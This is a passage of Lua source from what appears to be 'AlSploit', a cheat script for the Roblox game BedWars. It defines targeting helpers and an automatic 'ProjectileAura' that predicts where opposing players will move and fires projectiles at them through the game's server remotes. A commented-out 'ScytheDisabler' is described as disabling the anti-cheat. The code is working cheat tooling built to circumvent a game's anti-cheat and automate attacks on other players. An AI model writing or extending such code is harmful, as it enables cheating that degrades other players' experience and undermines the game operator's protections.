local BestProjectileGgravitationalAcceleration, BestProjectileLaunchersDPS, BestProjectileLauncherCooldown, BestProjectileLaunchVelocity, BestProjectileLauncher, BestProjectileDamage, BestProjectileType, BestProjectile = 0, 0, 0, 0, nil, 0, nil, nil
for i, v in next, GetInventory(Player) do
local ProjectileLauncher = BedwarsFunctions.GetItemMeta(v.itemType)
if ProjectileLauncher and ProjectileLauncher.projectileSource and ProjectileLauncher.projectileSource.ammoItemTypes then
local InventoryProjectile, InventoryProjectileDamage, InventoryProjectileLaunchVelocity, InventoryProjectileGgravitationalAcceleration = GetBestProjectile(ProjectileLauncher.projectileSource, Player)
local ProjectileCooldown = ProjectileLauncher.projectileSource.fireDelaySec
if InventoryProjectile and InventoryProjectileDamage > 0 and ProjectileCooldown then
local ProjectileLaunchersDPS = (InventoryProjectileDamage / ProjectileCooldown)
if ProjectileLaunchersDPS > BestProjectileLaunchersDPS then
InventoryProjectileGgravitationalAcceleration = InventoryProjectileGgravitationalAcceleration
BestProjectileLauncherCooldown = ProjectileCooldown
BestProjectileLaunchVelocity = InventoryProjectileLaunchVelocity
BestProjectileLaunchersDPS = ProjectileLaunchersDPS
BestProjectileLauncher = v
BestProjectileDamage = InventoryProjectileDamage
BestProjectileType = ProjectileLauncher.projectileSource.projectileType(InventoryProjectile.itemType)
BestProjectile = InventoryProjectile
end
end
end
end
return BestProjectileGgravitationalAcceleration, BestProjectileLauncherCooldown, BestProjectileLaunchVelocity, BestProjectileLauncher, BestProjectileType, BestProjectile
end
local function FindNearestLuckyBlock(MaxDistance)
local MinDistance = MaxDistance or math.huge
local NearestLuckyBlock = nil
for i, v in next, CollectionServiceBlocks do
if v.Name:lower():find("lucky") then
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < MinDistance then
MinDistance = Distance
NearestLuckyBlock= v
end
end
end
return NearestLuckyBlock
end
local function GetDevidedPosition(Position)
local X = math.round(Position.X / 3)
local Y = math.round(Position.Y / 3)
local Z = math.round(Position.Z / 3)
return Vector3.new(X, Y, Z)
end
local function FindNearestTreeOrb(MaxDistance)
local NearestTreeOrbDistance = MaxDistance or math.huge
local NearestTreeOrb
for i, v in next, game:GetService("CollectionService"):GetTagged("treeOrb") do
if v:FindFirstChild("Spirit") then
local Distance = (v.Spirit.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestTreeOrbDistance then
NearestTreeOrbDistance = Distance
NearestTreeOrb = v
end
end
end
return NearestTreeOrb, NearestTreeOrbDistance
end
function FindNearestPlayer(MaxDistance, RaycastCheck)
RaycastCheck = RaycastCheck or false
local NearestPlayerDistance = MaxDistance or math.huge
local NearestPlayer
for i, v in next, PlayerService:GetPlayers() do
if IsAlive(v) == true and v ~= LocalPlayer and IsAlive(LocalPlayer) == true and v.Team ~= LocalPlayer.Team then
local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if RaycastCheck == true then
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {LocalPlayer.Character:GetDescendants(), v.Character:GetDescendants()}
RaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
local Raycast = WorkSpace:Raycast(LocalPlayer.Character.PrimaryPart.Position, (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position), RaycastParameters)
if Raycast and Raycast.Position then
if not Raycast.Instance then
if Distance < NearestPlayerDistance then
NearestPlayerDistance = Distance
NearestPlayer = v
end
end
end
if not Raycast or not Raycast.Position then
if Distance < NearestPlayerDistance then
NearestPlayerDistance = Distance
NearestPlayer = v
end
end
end
if RaycastCheck == false then
if Distance < NearestPlayerDistance then
NearestPlayerDistance = Distance
NearestPlayer = v
end
end
end
end
return NearestPlayer, NearestPlayerDistance
end
local function FindNearestEntity(MaxDistance, FindAPlayer)
local NearestEntityDistance, NearestEntity = (MaxDistance and MaxDistance or math.huge), nil
local IsNotAPlayer = true
FindAPlayer = FindAPlayer and FindAPlayer or false
task.spawn(function()
for i, v in next, CollectionService:GetTagged("Titan") do
if v.PrimaryPart and v:GetAttribute("Team") ~= LocalPlayer:GetAttribute("Team") then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = v
end
end
end
end)
task.spawn(function()
local Titan = WorkSpace:FindFirstChild("Titan")
if Titan and Titan.PrimaryPart then
local Distance = (Titan.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = Titan
end
end
end)
task.spawn(function()
for i, v in next, CollectionService:GetTagged("GuardianOfDream") do
if v.PrimaryPart then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = v
end
end
end
end)
task.spawn(function()
for i, v in next, CollectionService:GetTagged("GolemBoss") do
if v.PrimaryPart then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = v
end
end
end
end)
task.spawn(function()
for i, v in next, CollectionService:GetTagged("jellyfish") do
if v.PrimaryPart then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = v
end
end
end
end)
task.spawn(function()
for i, v in next, CollectionService:GetTagged("DiamondGuardian") do
if v.PrimaryPart then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = v
end
end
end
end)
task.spawn(function()
for i, v in next, CollectionService:GetTagged("Monster") do
if v.PrimaryPart and v:GetAttribute("Team") ~= LocalPlayer:GetAttribute("Team") then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity = v
end
end
end
end)
task.spawn(function()
if FindAPlayer == true then
for i, v in next, PlayerService:GetPlayers() do
if IsAlive(v) == true and v ~= LocalPlayer and v.Team ~= LocalPlayer.Team then
local Distance = (v.Character.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestEntityDistance then
NearestEntityDistance = Distance
NearestEntity= v
IsNotAPlayer = false
end
end
end
end
end)
if NearestEntity then
return (IsNotAPlayer == true and NearestEntity or NearestEntity.Character), NearestEntityDistance
end
return nil
end
function GetBestProjectile(Projectile, Player)
local BestProjectileGgravitationalAcceleration, BestProjectileDamage, BestProjectileLaunchVelocity, BestProjectile = 0, 0, nil
for i, v in GetInventory(Player) do
if table.find(Projectile.ammoItemTypes, v.itemType) then
local ProjectileMeta = BedwarsMetas.ProjectileMeta[v.itemType]
local GgravitationalAcceleration = (ProjectileMeta.gravitationalAcceleration and ProjectileMeta.gravitationalAcceleration or WorkSpace.Gravity)
local LaunchVelocity = (ProjectileMeta.launchVelocity and ProjectileMeta.launchVelocity or 100)
if ProjectileMeta then
local ProjectileDamage = -1
pcall(function()
if ProjectileMeta.combat.damage then
ProjectileDamage = (ProjectileMeta.combat.damage and ProjectileMeta.combat.damage or -1)
end
end)
if ProjectileDamage > BestProjectileDamage then
BestProjectileGgravitationalAcceleration = GgravitationalAcceleration
BestProjectileLaunchVelocity = LaunchVelocity
BestProjectileDamage = ProjectileDamage
BestProjectile = v
end
end
end
end
return BestProjectile, BestProjectileDamage, BestProjectileLaunchVelocity, BestProjectileGgravitationalAcceleration
end
local function FindNearestChest(MaxDistance)
local NearestChest = nil
local MaxDistance = MaxDistance or math.huge
for i, v in next, CollectionService:GetTagged("chest") do
if v:FindFirstChild("ChestFolderValue") and #v:FindFirstChild("ChestFolderValue").Value:GetChildren() >= 1 then
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < MaxDistance then
NearestChest = v
MaxDistance = Distance
end
end
end
return NearestChest
end
local function FindNearestGhost(MaxDistance)
local NearestGhost = nil
local MaxDistance = MaxDistance or math.huge
for i, v in next, CollectionService:GetTagged("ghost") do
if v:GetAttribute("Id") then
local Distance = (v.PrimaryPart.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < MaxDistance then
NearestGhost = v:GetAttribute("Id")
MaxDistance = Distance
end
end
end
return NearestGhost
end
local function IsTouchingGround(Player, RayDown)
RayDown = RayDown or -3.5
Player = Player or LocalPlayer
local IsTouchingFloor = false
local RaycastParameters = RaycastParams.new()
RaycastParameters.FilterDescendantsInstances = {Player.Character:GetDescendants()}
RaycastParameters.FilterType = Enum.RaycastFilterType.Exclude
local Origin = Player.Character.PrimaryPart.Position
local Raycast = WorkSpace:Raycast(Origin, Vector3.new(0, RayDown, 0), RaycastParameters)
local Raycast2 = WorkSpace:Raycast(Origin + Vector3.new(1, 0, 0), Vector3.new(0, RayDown, 0), RaycastParameters)
local Raycast3 = WorkSpace:Raycast(Origin + Vector3.new(-1, 0, 0), Vector3.new(0, RayDown, 0), RaycastParameters)
local Raycast4 = WorkSpace:Raycast(Origin + Vector3.new(0, 0, 1), Vector3.new(0, RayDown, 0), RaycastParameters)
local Raycast5 = WorkSpace:Raycast(Origin + Vector3.new(0, 0, -1), Vector3.new(0, RayDown, 0), RaycastParameters)
pcall(function()
if Raycast and Raycast.Position and Raycast.Instance and Raycast.Instance.CanCollide == true then
IsTouchingFloor = true
end
end)
pcall(function()
if Raycast2 and Raycast2.Position and Raycast.Instance and Raycast.Instance.CanCollide == true then
IsTouchingFloor = true
end
end)
pcall(function()
if Raycast3 and Raycast3.Position and Raycast.Instance and Raycast.Instance.CanCollide == true then
IsTouchingFloor = true
end
end)
pcall(function()
if Raycast4 and Raycast4.Position and Raycast.Instance and Raycast.Instance.CanCollide == true then
IsTouchingFloor = true
end
end)
pcall(function()
if Raycast5 and Raycast5.Position and Raycast.Instance and Raycast.Instance.CanCollide == true then
IsTouchingFloor = true
end
end)
return IsTouchingFloor
end
local function HasItemEquipped(Item)
if LocalPlayer.Character.HandInvItem.Value and LocalPlayer.Character.HandInvItem.Value == Item then
return true
end
return false
end
local function FindNearestBlock(MaxDistance)
local NearestBlockDistance= MaxDistance or math.huge
local NearestBlock = nil
for i, v in next, game:GetService("CollectionService"):GetTagged("block") do
if IsAlive(LocalPlayer) == true then
local Magnitude = (LocalPlayer.Character.PrimaryPart.Position - v.Position).Magnitude
if Magnitude < NearestBlockDistance then
NearestBlockDistance = Magnitude
NearestBlock = v
end
end
end
return NearestBlock, NearestBlockDistance
end
function FindNearestBed(IgnoreBedSheildEndTime, MaxDistance)
local NearestBedDistance = MaxDistance or math.huge
local NearestBed = nil
local AmountOfBeds = 0
if IsAlive(LocalPlayer) == true then
for i, v in next, CollectionService:GetTagged("bed") do
local BedColor = (v:FindFirstChild("Bed") and v:FindFirstChild("Bed").BrickColor or v:FindFirstChild("bed"):FindFirstChild("Bed") and v:FindFirstChild("bed"):FindFirstChild("Bed").BrickColor or nil)
if BedColor and BedColor ~= LocalPlayer.Team.TeamColor then
AmountOfBeds = (AmountOfBeds + 1)
end
end
if IgnoreBedSheildEndTime == false then
for i, v in next, CollectionService:GetTagged("bed") do
local BedColor = (v:FindFirstChild("Bed") and v:FindFirstChild("Bed").BrickColor or v:FindFirstChild("bed"):FindFirstChild("Bed") and v:FindFirstChild("bed"):FindFirstChild("Bed").BrickColor or nil)
if BedColor and BedColor ~= LocalPlayer.Team.TeamColor then
if v:GetAttribute("BedShieldEndTime") and (v:GetAttribute("BedShieldEndTime") > WorkSpace:GetServerTimeNow() and AmountOfBeds == 1 or v:GetAttribute("BedShieldEndTime") < WorkSpace:GetServerTimeNow()) then
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestBedDistance then
NearestBedDistance = Distance
NearestBed = v
end
end
if not v:GetAttribute("BedShieldEndTime") then
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestBedDistance then
NearestBedDistance = Distance
NearestBed = v
end
end
end
end
end
if IgnoreBedSheildEndTime == true then
for i, v in next, CollectionService:GetTagged("bed") do
local BedColor = (v:FindFirstChild("Bed") and v:FindFirstChild("Bed").BrickColor or v:FindFirstChild("bed"):FindFirstChild("Bed") and v:FindFirstChild("bed"):FindFirstChild("Bed").BrickColor or nil)
if BedColor and BedColor ~= LocalPlayer.Team.TeamColor then
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < NearestBedDistance then
NearestBedDistance = Distance
NearestBed = v
end
end
end
end
end
return NearestBed, NearestBedDistance
end
local function FindNearestNpc(MaxDistance)
local MaxDistance = MaxDistance or math.huge
local NearestNpc = nil
task.spawn(function()
for i, v in next, CollectionService:GetTagged("BedwarsTeamUpgrader") do
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < MaxDistance then
MaxDistance = Distance
NearestNpc = v
end
end
end)
task.spawn(function()
for i, v in next, CollectionService:GetTagged("BedwarsItemShop") do
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < MaxDistance then
MaxDistance = Distance
NearestNpc = v
end
end
end)
return NearestNpc
end
local function FindNearestOre(MaxDistance)
local MinDistance = MaxDistance or math.huge
local NearestOre = nil
for i, v in next, CollectionServiceBlocks do
if v.Name:lower():find("ore") then
local Distance = (v.Position - LocalPlayer.Character.PrimaryPart.Position).Magnitude
if Distance < MinDistance then
MinDistance = Distance
NearestOre = v
end
end
end
return NearestOre
end
local function PlayAnimation(Animation)
if ViewModel and C0 then
for i, v in next, Animation do
local TweenInformation = TweenInfo.new(v.Time, Enum.EasingStyle.Linear, Enum.EasingDirection.In, 0, false, 0)
local AnimationTween = TweenService:Create(ViewModel.RightHand.RightWrist, TweenInformation, {C0 = (C0 * v.CFrame)})
AnimationTween:Play()
task.wait(v.Time)
end
end
end
local function GetMatchState()
return (WorkSpace:WaitForChild("SpectatorPlatform").Root.Transparency == 1 and 1 or 0)
end
local function PurchaseItem(Arguments, Inventory)
local Inventory = (Inventory and Inventory or GetInventory(LocalPlayer))
for i, v in next, Inventory do
if v.itemType == Arguments[1]["shopItem"]["currency"] and v.amount >= Arguments[1]["shopItem"]["price"] then
BedwarsRemotes.BedwarsPurchaseItemRemote:InvokeServer(unpack(Arguments))
end
end
end
local function GetQueueType()
local State = ClientStore:getState()
return State.Game.queueType or "bedwars_test"
end
function GetInventory(Player)
local Player = Player or LocalPlayer
local Inventory1 = (IsAlive(Player) == true and LocalPlayer.Character:FindFirstChild("InventoryFolder").Value:GetChildren() or {})
local Inventory = {}
for i, v in next, Inventory1 do
Inventory[v] = {tool = v, itemType = tostring(v), amount = v:GetAttribute("Amount")}
end
return Inventory
end
local function CreateClone(KeepCape)
LocalPlayer.Character.Archivable = true
local Clone = LocalPlayer.Character:Clone()
Clone.Parent = WorkSpace
Clone.Name = "Clone"
Clone.PrimaryPart.CFrame = LocalPlayer.Character.PrimaryPart.CFrame
Camera.CameraSubject = Clone.Humanoid
task.spawn(function()
for i, v in next, Clone:FindFirstChild("Head"):GetDescendants() do
v:Destroy()
end
for i, v in next, Clone:GetChildren() do
if v:IsA("BasePart") and v.Name ~= "HumanoidRootPart" then
v.Transparency = 1
end
if v:IsA("Accessory") then
v:FindFirstChild("Handle").Transparency = 1
end
end
if KeepCape == false then
for i, v in next, Clone:GetDescendants() do
if v:IsA("BasePart") and v.Name == "Cape" then
v:Destroy()
end
end
end
end)
return Clone
end
local function DamageBlock(Position, Bed)
if Bed == true then
BedwarsRemotes.DamageBlockRemote:InvokeServer({
blockRef = {
blockPosition = GetDevidedPosition(Position),
},
hitPosition = GetDevidedPosition(Position),
hitNormal = Vector3.yAxis
})
end
if Bed == false then
BedwarsRemotes.DamageBlockRemote:InvokeServer({
blockRef = {
blockPosition = Position,
},
hitPosition = Position,
hitNormal = Vector3.FromNormalId(Sides[3])
})
end
end
function DecimalRound(Number, DigitsPast0)
DigitsPast0 = math.pow(10, DigitsPast0)
Number = (Number * DigitsPast0)
if Number >= 0 then
Number = math.floor(Number + 0.5)
end
if Number < 0 then
Number = math.ceil(Number - 0.5)
end
return (Number / DigitsPast0)
end
local function GetBestSword(Player)
local HighestDamage, Sword = -math.huge, nil
for i, v in next, GetInventory(Player) do
local SwordMetaGame = BedwarsFunctions.GetItemMeta(v.itemType).sword
if SwordMetaGame then
local SwordDamage = (SwordMetaGame.damage / SwordMetaGame.attackSpeed)
if SwordDamage > HighestDamage then
HighestDamage = SwordDamage
Sword = v
end
end
end
return HighestDamage, Sword
end
local function GetSnowball(Player)
for i, v in next, GetInventory(Player) do
if v.itemType:find("snowball") then
local SnowballMeta = BedwarsMetas.ProjectileMeta[v.itemType]
local GgravitationalAcceleration = (SnowballMeta.gravitationalAcceleration and SnowballMeta.gravitationalAcceleration or WorkSpace.Gravity)
local LaunchVelocity = (SnowballMeta.launchVelocity and SnowballMeta.launchVelocity or 100)
return v, GgravitationalAcceleration, LaunchVelocity
end
end
return nil, 0, nil
end
local function GetFireball(Player)
for i, v in next, GetInventory(Player) do
if v.itemType == "fireball" then
local FireballMeta = BedwarsMetas.ProjectileMeta[v.itemType]
local GgravitationalAcceleration = (FireballMeta.gravitationalAcceleration and FireballMeta.gravitationalAcceleration or WorkSpace.Gravity)
local LaunchVelocity = (FireballMeta.launchVelocity and FireballMeta.launchVelocity or 100)
return v, GgravitationalAcceleration, LaunchVelocity
end
end
return nil, 0, nil
end
local function SwitchItem(Item)
BedwarsRemotes.SetInvItemRemote:InvokeServer({hand = Item})
end
function GetSpeed()
local Speed = 0
local SpeedBoost = LocalPlayer.Character:GetAttribute("SpeedBoost")
if SpeedBoost and SpeedBoost > 1 then
Speed = (Speed + (8 * (SpeedBoost - 1)))
end
if LocalPlayer.Character:GetAttribute("GrimReaperChannel") then
Speed = (Speed + 20)
end
if type(ZephyrOrb) == "number" and ZephyrOrb > 0 then
Speed = Speed + 19
end
if (tick() - JadeHammerTick) <= 1.4 then
Speed = (Speed + 30)
end
if DamageBoostValue == true then
Speed = (Speed + 20)
end
Speed = ((Speed + AlSploitSettings.Speed.Speed.Value) - 20) --Speed = (((Speed + PacketDisablerSpeed) + AlSploitSettings.Speed.Speed.Value) - 20)
return Speed
end
local function GetBlock()
for i, v in next, GetInventory(LocalPlayer) do
local ItemMeta = BedwarsFunctions.GetItemMeta(v.itemType)
if ItemMeta and ItemMeta.block and v.itemType:find("wool") then
return v.itemType
end
end
end
local function GetArmor(Player)
if IsAlive(Player) == true then
local ArmorHelmetExists = pcall(function()
return WorkSpace[Player.Name].ArmorInvItem_0.Value.Name
end)
local ArmorHelmet
if ArmorHelmetExists then
ArmorHelmet = WorkSpace[Player.Name].ArmorInvItem_0.Value.Name
end
local ArmorHelmetDamageReductionMultiplier = 0
local ArmorChestplateExists = pcall(function()
return WorkSpace[Player.Name].ArmorInvItem_1.Value.Name
end)
local ArmorChestplate
if ArmorChestplateExists then
ArmorChestplate = WorkSpace[Player.Name].ArmorInvItem_1.Value.Name
end
local ArmorChestplateDamageReductionMultiplier = 0
local ArmorBootsExists = pcall(function()
return WorkSpace[Player.Name].ArmorInvItem_2.Value.Name
end)
local ArmorBoots
if ArmorBootsExists then
ArmorBoots = WorkSpace[Player.Name].ArmorInvItem_2.Value.Name
end
local ArmorBootsDamageReductionMultiplier = 0
if ArmorHelmet then
ArmorHelmetDamageReductionMultiplier = BedwarsFunctions.GetItemMeta(ArmorHelmet).armor.damageReductionMultiplier
end
if ArmorChestplate then
ArmorChestplateDamageReductionMultiplier = BedwarsFunctions.GetItemMeta(ArmorChestplate).armor.damageReductionMultiplier
end
if ArmorBoots then
ArmorBootsDamageReductionMultiplier = BedwarsFunctions.GetItemMeta(ArmorBoots).armor.damageReductionMultiplier
end
local TotalReductionMultiplier = (ArmorHelmetDamageReductionMultiplier + ArmorChestplateDamageReductionMultiplier + ArmorBootsDamageReductionMultiplier)
return TotalReductionMultiplier, ArmorHelmet, ArmorChestplate, ArmorBoots
end
end
function HasItem(Name)
for i, v in next, GetInventory(LocalPlayer) do
if v.itemType == Name then
return v
end
end
return nil
end
function IsAlive(Player)
if not Player.Character then return false end
if not Player.Character:FindFirstChildOfClass("Humanoid") then return false end
if Player.Character:GetAttribute("Health") <= 0 then return false end
if not Player.Character.PrimaryPart then return false end
return true
end
local CombatTab = AlSploitLibrary:CreateTab("Combat")
local BlatantTab = AlSploitLibrary:CreateTab("Blatant")
local UtilityTab = AlSploitLibrary:CreateTab("Utility")
local WorldTab = AlSploitLibrary:CreateTab("World")
local OtherTab = AlSploitLibrary:CreateTab("Other")
--[[ task.spawn(function()
local DirectionSwitchTick = tick()
local ScytheDisabler = CombatTab:CreateToggle({
Name = "ScytheDisabler",
Function = function()
repeat
task.wait()
local Scythe = GetScythe()
if Scythe and IsAlive(LocalPlayer) == true and GetMatchState() ~= 0 then
task.spawn(function()
local MoveDirection = LocalPlayer.Character.Humanoid.MoveDirection
task.wait(0.1)
local NewMoveDirection = LocalPlayer.Character.Humanoid.MoveDirection
if (MoveDirection - NewMoveDirection).Magnitude >= 1 then
DirectionSwitchTick = tick()
end
end)
local HasItemEquipped = HasItemEquipped(Scythe.tool)
if HasItemEquipped == true then
ScytheAnticheatDisabled = true
local MoveDirection = LocalPlayer.Character.Humanoid.MoveDirection
local Vector = LocalPlayer.Character.PrimaryPart.CFrame.lookVector
if (MoveDirection - Vector).Magnitude > 1.9 then
Vector = MoveDirection
end
if (tick() - DirectionSwitchTick) < 0.7 then
ScytheAnticheatDisabledSpeed = math.random(0, 20)
end
if (tick() - DirectionSwitchTick) > 1 then
ScytheAnticheatDisabledSpeed = math.random(0, AlSploitSettings.ScytheDisabler.Speed.Value)
end
BedwarsRemotes.ScytheDashRemote:FireServer({direction = Vector})
if Scythe.itemType == "sky_scythe" then
BedwarsRemotes.SkyScytheSpinRemote:FireServer()
ScytheAnticheatDisabled = false
end
end
if HasItemEquipped == false then
ScytheAnticheatDisabled = false
end
end
if not Scythe or IsAlive(LocalPlayer) == false then
ScytheAnticheatDisabled = false
end
until shared.AlSploitUnInjected == true or AlSploitSettings.ScytheDisabler.Value == false
ScytheAnticheatDisabled = false
end,
HoverText = "Gives The Anticheat Brain Damage (Scythe Needed) 🧠❌"
})
ScytheDisabler:CreateSlider({
Name = "Speed",
Function = function() end,
MaximumValue = 100,
DefaultValue = 100
})
end) --]]
task.spawn(function()
local FireDelays = {
Snowballs = tick(),
Fireballs = tick(),
Arrows = tick()
}
local function PredictMovement(GravitationalAcceleration, LaunchSpeed, TargetPosition, TargetVelocity, TargetHipHeight, TargetJump)
local PredictedEnemyPosition = TargetPosition
local VerticalOffset = Vector3.new(0, (TargetHipHeight + TargetJump), 0)
local Gravity = Vector3.new(0, -math.abs(GravitationalAcceleration), 0)
local Origin = (Camera and Camera.CFrame.Position or Vector3.zero)
local Distance = (TargetPosition - Origin).Magnitude
local Time = (Distance / math.max(LaunchSpeed, 1))
for i = 1, 40 do
task.spawn(function()
local FutureTargetPosition = (TargetPosition + VerticalOffset + (TargetVelocity * Time))
local Displacement = (FutureTargetPosition - Origin - (0.5 * Gravity * Time * Time))
local RequiredVelocity = (Displacement / Time)
local RequiredSpeed = RequiredVelocity.Magnitude
Time = (Time * (RequiredSpeed / math.max(LaunchSpeed, 0.001)))
end)
end
PredictedEnemyPosition = (TargetPosition + VerticalOffset + (TargetVelocity * Time))
return PredictedEnemyPosition
end
local function CreateProjectileGUID()
local GUID = HttpService:GenerateGUID(false)
return string.upper((GUID:split("-"))[1])
end
local ProjectileAura = CombatTab:CreateToggle({
Name = "ProjectileAura",
Function = function()
repeat
task.wait(0)
local TargetEntity
if AlSploitSettings.ProjectileAura.Targets.Entities.Value == true then
local NearestEntity = FindNearestEntity(AlSploitSettings.ProjectileAura.Range.Value, false)
if NearestEntity then
TargetEntity = {
PrimaryPart = NearestEntity.PrimaryPart,
Humanoid = {
HipHeight = (NearestEntity.Humanoid and NearestEntity.Humanoid.HipHeight or 0),
Jump = (NearestEntity.Humanoid and NearestEntity.Humanoid.Jump or false)
}
}
end
end
if AlSploitSettings.ProjectileAura.Targets.Players.Value == true then
local NearestPlayer = FindNearestPlayer(AlSploitSettings.ProjectileAura.Range.Value, true)
if NearestPlayer then
TargetEntity = NearestPlayer.Character
end
end
if TargetEntity then
task.spawn(function()
if AlSploitSettings.ProjectileAura.Projectiles.Snowballs.Value == true then
local Snowball, GgravitationalAcceleration, LaunchVelocity = GetSnowball(LocalPlayer)
if Snowball and (tick() - FireDelays.Snowballs) > 0.1 then
FireDelays.Snowballs = tick()
task.spawn(function()
if AlSploitSettings.ProjectileAura.SwitchToItem.Value == true then
SwitchItem(Snowball.tool)
end
end)
local Prediciton = PredictMovement(
GgravitationalAcceleration,
LaunchVelocity,
TargetEntity.PrimaryPart.Position,
TargetEntity.PrimaryPart.Velocity,
TargetEntity.Humanoid.HipHeight,
(TargetEntity.Humanoid.Jump and 0.5 or 0)
)
local Direction = CFrame.lookAt(LocalPlayer.Character.PrimaryPart.Position, (Prediciton - Vector3.new(0, 4, 0))).LookVector * LaunchVelocity
BedwarsRemotes.ProjectileFireRemote:InvokeServer(
Snowball.tool,
Snowball.itemType,
Snowball.itemType,
LocalPlayer.Character.Head.Position,
LocalPlayer.Character.PrimaryPart.Position,
Direction,
CreateProjectileGUID(),
{
shotId = CreateProjectileGUID(),
drawDurationSec = 0
},
WorkSpace:GetServerTimeNow() - 0.045
)
end
end
end)
task.spawn(function()
if AlSploitSettings.ProjectileAura.Projectiles.Fireballs.Value == true then
local Fireball, GgravitationalAcceleration, LaunchVelocity = GetFireball(LocalPlayer)
if Fireball and (tick() - FireDelays.Fireballs) > 0.1 then
FireDelays.Fireballs = tick()
task.spawn(function()
if AlSploitSettings.ProjectileAura.SwitchToItem.Value == true then
SwitchItem(Fireball.tool)
end
end)
local Prediciton = PredictMovement(
GgravitationalAcceleration,
LaunchVelocity,
TargetEntity.PrimaryPart.Position,
TargetEntity.PrimaryPart.Velocity,
TargetEntity.Humanoid.HipHeight,
(TargetEntity.Humanoid.Jump and 0.5 or 0)
)
local Direction = CFrame.lookAt(LocalPlayer.Character.PrimaryPart.Position, (Prediciton - Vector3.new(0, 4, 0))).LookVector * LaunchVelocity
BedwarsRemotes.ProjectileFireRemote:InvokeServer(
Fireball.tool,
Fireball.itemType,
Fireball.itemType,
LocalPlayer.Character.Head.Position,
LocalPlayer.Character.PrimaryPart.Position,
Direction,
CreateProjectileGUID(),
{
shotId = CreateProjectileGUID(),
drawDurationSec = 0
},
WorkSpace:GetServerTimeNow() - 0.045
)
end
end
end)
task.spawn(function()
if AlSploitSettings.ProjectileAura.Projectiles.Arrows.Value == true then
local BestProjectileGgravitationalAcceleration, BestProjectileLauncherCooldown, BestProjectileLaunchVelocity, BestProjectileLauncher, BestProjectileType, BestProjectile = GetBestProjectileLauncher(LocalPlayer)
if BestProjectileLauncherCooldown and BestProjectileLauncher and BestProjectile and (tick() - FireDelays.Arrows) > BestProjectileLauncherCooldown then
FireDelays.Arrows = tick()
task.spawn(function()
if AlSploitSettings.ProjectileAura.SwitchToItem.Value == true then
SwitchItem(BestProjectileLauncher.tool)
end
end)
local Prediciton = PredictMovement(
BestProjectileGgravitationalAcceleration,
BestProjectileLaunchVelocity,
TargetEntity.PrimaryPart.Position,
TargetEntity.PrimaryPart.Velocity,
TargetEntity.Humanoid.HipHeight,
(TargetEntity.Humanoid.Jump and -6 or 0)
)
local Magnitude = (LocalPlayer.Character.PrimaryPart.Position - TargetEntity.PrimaryPart.Position).Magnitude
local MagnitudeAmplification = (TargetEntity.Humanoid.Jump and (Magnitude > 50 and Magnitude / 150 or Magnitude > 100 and Magnitude / 65 or Magnitude > 150 and Magnitude / 30) or 0)
local Direction = CFrame.lookAt(LocalPlayer.Character.PrimaryPart.Position, (Prediciton + Vector3.new(0, MagnitudeAmplification, 0))).LookVector * BestProjectileLaunchVelocity
BedwarsRemotes.ProjectileFireRemote:InvokeServer(
BestProjectileLauncher.tool,
BestProjectile.itemType,
BestProjectileType,
LocalPlayer.Character.Head.Position,
LocalPlayer.Character.PrimaryPart.Position,
Direction,
CreateProjectileGUID(),
{
shotId = CreateProjectileGUID(),
drawDurationSec = (BestProjectileLauncher.itemType == "wood_bow" and 0.85 or 0)
},
WorkSpace:GetServerTimeNow() - 0.045
)
end
end
end)
end
until AlSploitSettings.ProjectileAura.Value == false or shared.AlSploitUnInjected == true
end,
HoverText = "Automatically Shoots Players 🏹"
})
ProjectileAura:CreateToggle({
Name = "SwitchToItem",
Function = function() end,
DefaultValue = true
})
ProjectileAura:CreateSlider({
Name = 'Range',
Function = function() end,
MaximumValue = 200,
DefaultValue = 150
})
local Projectiles = ProjectileAura:CreateDropdown({
Name = "Projectiles",
HoverText = "Which Projectiles Will Be Thrown While Using ProjectileAura"
})
Projectiles:CreateToggle({
Name = "Snowballs",
Function = function() end,
DefaultValue = true
})
Projectiles:CreateToggle({
Name = "Fireballs",
Function = function() end,
DefaultValue = true
})
Projectiles:CreateToggle({
Name = "Arrows",
Function = function() end,
DefaultValue = true
})
local Targets = ProjectileAura:CreateDropdown({
Name = "Targets",
HoverText = "Which Entities Will Be Targetted While Using ProjectileAura"
})
Targets:CreateToggle({
Name = "Entities",
Function = function() end,
DefaultValue = false
})
Targets:CreateToggle({
Name = "Players",
Function = function() end,
DefaultValue = true
})
end)
task.spawn(function()
if BedwarsKnitControllers.SwordController then
local OldIsClickingTooFast
